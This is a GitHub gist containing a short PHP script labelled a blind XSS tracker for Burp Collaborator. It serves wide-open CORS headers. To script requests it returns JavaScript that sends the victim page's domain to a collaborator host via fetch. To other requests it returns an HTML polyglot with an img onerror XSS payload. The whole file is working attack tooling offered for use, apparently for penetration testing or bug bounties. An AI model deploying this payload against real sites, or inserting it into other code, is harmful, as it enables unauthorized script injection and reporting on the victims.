Created
March 13, 2025 16:07
-
-
Save mcipekci/73a7dbe3eba8a416a38dc592933df1f3 to your computer and use it in GitHub Desktop.
php blind xss tracker for burp collab
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header("Access-Control-Allow-Origin: *"); | |
header("Access-Control-Allow-Credentials: true"); | |
header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); | |
header("Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range"); | |
header("Access-Control-Expose-Headers: Content-Length,Content-Range"); | |
if ($_SERVER["HTTP_SEC_FETCH_DEST"] == "script") { | |
header("Content-Type: text/javascript"); | |
echo "fetch('//collabserver/?url='+document.domain);"; | |
echo "alert(document.domain)"; | |
} else { | |
header("Content-Type: text/html"); | |
echo '<html><body>\'\';var msgbox;if(document.domain){alert(document.domain)}else{alert(1)}//<img src="x" onerror="if(document.domain){alert(document.domain)}else{alert(1)}">'; | |
} | |
exit(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment